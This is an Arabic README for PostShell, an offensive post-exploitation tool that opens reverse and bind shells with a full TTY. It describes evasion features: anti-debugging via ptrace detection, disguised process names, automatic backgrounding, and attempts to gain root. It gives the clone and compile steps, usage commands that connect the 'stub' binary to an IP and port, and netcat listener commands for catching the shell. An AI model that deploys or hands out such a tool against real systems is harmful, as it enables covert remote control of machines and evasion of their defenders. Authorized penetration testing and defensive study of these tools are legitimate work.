PostShell

PostShell هي شيل استغلال لاحق يتضمن كلًا من شيل الربط وشيل الاتصال العكسي. تنشئ TTY تفاعلي بالكامل يسمح بالتحكم في الوظائف. حجم البرنامج الصغير حوالي 14 كيلوبايت ويمكن ترجمته على أي نظام يشبه يونكس.

لقطات الشاشة

الشعار والتفاعل مع الشيل بعد بدء الاتصال.

لماذا لا تستخدم شيل اتصال عكسي/ربط تقليدي؟

PostShell تتيح استغلالًا لاحقًا أسهل من خلال جعل المهاجم أقل اعتمادًا على التبعيات مثل Python وPerl. كما تدمج كلًا من شيل الاتصال العكسي وشيل الربط، مما يعني أنه إذا كان الهدف لا يسمح بالاتصالات الصادرة، يمكن للمشغل ببساطة تشغيل شيل ربط والاتصال بالجهاز عن بُعد. كما أن PostShell أقل شكًا بشكل ملحوظ من الشيل التقليدي نظرًا لأن أسماء العمليات والوسائط مغطاة.

الميزات

• مكافحة التصحيح، إذا تم اكتشاف ptrace مرتبطًا بالشيل فسيخرج.
• أسماء العمليات/الخيوط مغطاة، يتم استبدال جميع وسائط النظام واسم الملف باسم مزيف ليجعله يبدو كبرنامج شرعي.
• TTY، يتم إنشاء TTY يسمح بشكل أساسي بنفس استخدام الجهاز كما لو كنت متصلًا عبر SSH.
• شيل ربط/اتصال عكسي، يمكن إنشاء كل من شيل الربط والاتصال العكسي.
• حجم برنامج صغير، عادةً ما يتم إنشاء برنامج صغير جدًا (أقل من 14 كيلوبايت).
• يتحول تلقائيًا إلى عملية خلفية.
• يحاول تعيين GUID/UID إلى 0 (الجذر).

البدء

1. التحميل: git clone https://github.com/rek7/postshell
2. الترجمة: cd postshell && sh compile.sh يجب أن يؤدي ذلك إلى إنشاء ملف ثنائي يسمى "stub" وهو البرنامج الضار.

الأوامر

$ ./stub
Bind Shell Usage: ./stub port
Back Connect Usage: ./stub ip port
$

مثال استخدام

اتصال عكسي:

$ ./stub 127.0.0.1 13377

شيل ربط:

$ ./stub 13377

استقبال اتصال باستخدام Netcat

استقبال اتصال عكسي:

$ nc -vlp port

الاتصال بشيل ربط:

$ nc host port

المهام المتبقية:

• إضافة تحليل النطاق